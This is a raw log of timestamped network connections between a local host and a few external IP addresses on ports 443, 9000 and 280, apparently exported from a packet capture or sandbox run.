Jul 27, 2024 16:59:09.765974998 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:09.766092062 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:09.852139950 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:09.852241039 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:10.804296017 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:10.804583073 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:11.318008900 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:11.318347931 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:11.321016073 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:11.321227074 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:11.905296087 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:11.905395985 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:14.005306959 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:14.005501986 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:14.007716894 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:14.007805109 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:14.013292074 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:14.013375044 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:15.091696978 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:15.092032909 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:15.924812078 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:15.925177097 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:16.155579090 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:16.155683994 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:16.227423906 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:16.227643013 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:17.223743916 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:17.223999977 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:17.226037979 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:17.226269007 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:18.319048882 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:18.319504023 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:18.886801004 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:18.886975050 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:20.572338104 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:20.572567940 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:20.575263977 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:20.575361013 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:20.953792095 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:20.954267025 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:21.534240961 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:21.534516096 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:21.577951908 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:21.578214884 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:22.127015114 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:22.127151966 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:22.573101997 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:59:22.595478058 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:22.925175905 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:22.925694942 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:59:22.931257963 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:23.394120932 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:23.394248009 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:23.397893906 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:23.398020983 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:23.403081894 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:23.403179884 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:24.356405020 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:24.356554031 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:24.891470909 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:24.891910076 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:25.417066097 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:25.417267084 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:25.419994116 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:25.420331955 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:25.928792000 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:25.929128885 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:26.487325907 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:26.487579107 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:26.490494967 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:26.490813017 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:26.912750959 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:26.913000107 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:27.262512922 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:27.262726068 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:27.265077114 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:27.265281916 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:27.571779966 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:27.572043896 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:27.575011969 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:27.575208902 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:27.965979099 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:27.966263056 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:27.969451904 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:27.969693899 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:28.690830946 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:28.691061974 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:29.222322941 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:29.222573042 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:29.225317955 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:29.225517035 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:29.232198000 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:29.232419968 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:29.386097908 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:59:29.394063950 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:59:29.394140959 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:59:30.796539068 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:30.796878099 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:30.802512884 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:30.802815914 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:30.805924892 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:30.806046963 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:30.811727047 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:30.811949968 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.163417101 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.163767099 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.166146040 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.166368008 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.172419071 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.172636986 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.501040936 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.501399040 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.505474091 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.505822897 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.928098917 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.928580999 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.933187008 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.933512926 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.936625004 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.936892033 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:31.941631079 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:31.941858053 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:32.245071888 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:32.245423079 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:32.248018026 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:32.248436928 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:32.297049046 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:32.297285080 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:32.612319946 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:32.612648964 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:32.615838051 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:32.616292953 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:32.620855093 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:32.621292114 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:32.998611927 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:32.999128103 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:33.137990952 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:33.138339043 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:33.596858025 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:33.597145081 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:33.600147009 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:33.600420952 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:33.605712891 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:33.606040955 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:33.981713057 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:33.982109070 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:33.983592033 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:33.983961105 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:33.987801075 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:33.988172054 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:33.993176937 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:33.993393898 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:34.172276974 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:34.172600985 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:34.338761091 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:34.339263916 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:35.019315958 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:35.020035982 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:35.021147966 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:35.021575928 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:35.025283098 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:35.025710106 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:35.179570913 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:35.180315018 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:35.295911074 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:35.296267986 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:35.590867996 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:35.591243029 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:35.700177908 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:35.700634003 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:35.702501059 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:35.702759981 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:36.047738075 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:36.047844887 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:36.351728916 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:36.352108955 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:36.358349085 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:36.358589888 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:36.451694965 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:36.452142000 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:36.710246086 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:36.710493088 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:36.712068081 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:36.712143898 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:37.254976988 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:37.255074978 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:37.849320889 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:37.849764109 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:37.851984024 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:37.852372885 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:37.856586933 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:37.856715918 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:37.858872890 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:37.858992100 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:37.861545086 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:37.861651897 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:38.102916956 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:38.103436947 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:38.157239914 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:38.157578945 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:38.160625935 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:38.160804987 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:38.292303085 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:59:38.297970057 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:38.439460039 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:38.440009117 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:38.441051960 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:38.441451073 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:38.599843025 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:38.600121975 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:59:38.617084980 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:38.694504976 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:38.694725037 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:39.099921942 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:39.100130081 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:39.101739883 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:39.101826906 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:39.104407072 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:39.104501009 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:39.400532007 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:39.400875092 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:39.482891083 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:39.483015060 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:39.807045937 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:39.807199955 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:39.809925079 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:39.810022116 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:40.339245081 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:40.339504957 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:40.647005081 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:40.647474051 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:40.649889946 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:40.649986029 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:40.651743889 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:40.651824951 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:40.709431887 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:40.709733963 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:41.140559912 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:41.140835047 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:41.142436981 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:41.142627954 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:41.448636055 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:41.449059963 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:41.513714075 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:41.513941050 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:41.516597986 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:41.516701937 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:41.829688072 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:41.829902887 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:41.853923082 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:41.854041100 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:42.841943979 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:42.842185020 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:42.843390942 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:42.843511105 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:42.845752954 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:42.846055984 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:42.849142075 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:42.849428892 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:43.192265987 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:43.192585945 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:43.605127096 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:43.605351925 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:43.607014894 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:43.607444048 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:43.701092958 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:43.701669931 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:44.162251949 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:44.162620068 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:45.015011072 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:45.015563011 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:45.017252922 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:45.017446995 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:45.072932959 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:45.073239088 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:45.075710058 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:45.075884104 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:45.079216957 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:45.079557896 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:45.428212881 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:45.428637981 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:45.539807081 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:45.540273905 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:46.785115957 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:46.785408974 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:46.787414074 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:46.787846088 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:46.789532900 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:46.789725065 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:47.181562901 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:47.182199955 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:47.183491945 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:47.184051991 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:47.186804056 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:47.187103033 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:47.576149940 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:47.576447010 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:48.048377991 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:48.048562050 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:48.394825935 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:48.395351887 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:48.398325920 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:48.398690939 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:48.402002096 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:48.402245045 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:48.404083014 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:48.404191017 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:49.238512039 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:49.239110947 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:49.240847111 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:49.241410017 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:49.243916988 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:49.244498968 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:50.669996977 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:50.670314074 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:50.672100067 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:50.672390938 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:50.674539089 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:50.674690962 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:50.678668976 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:50.679035902 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:50.680695057 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:50.680995941 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:50.683619022 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:50.683836937 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:50.685107946 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:50.685241938 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:50.688556910 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:50.688803911 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:51.105432987 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:51.105829000 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:51.242753983 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:51.243305922 CEST	49734	443	192.168.2.4	39.97.203.118
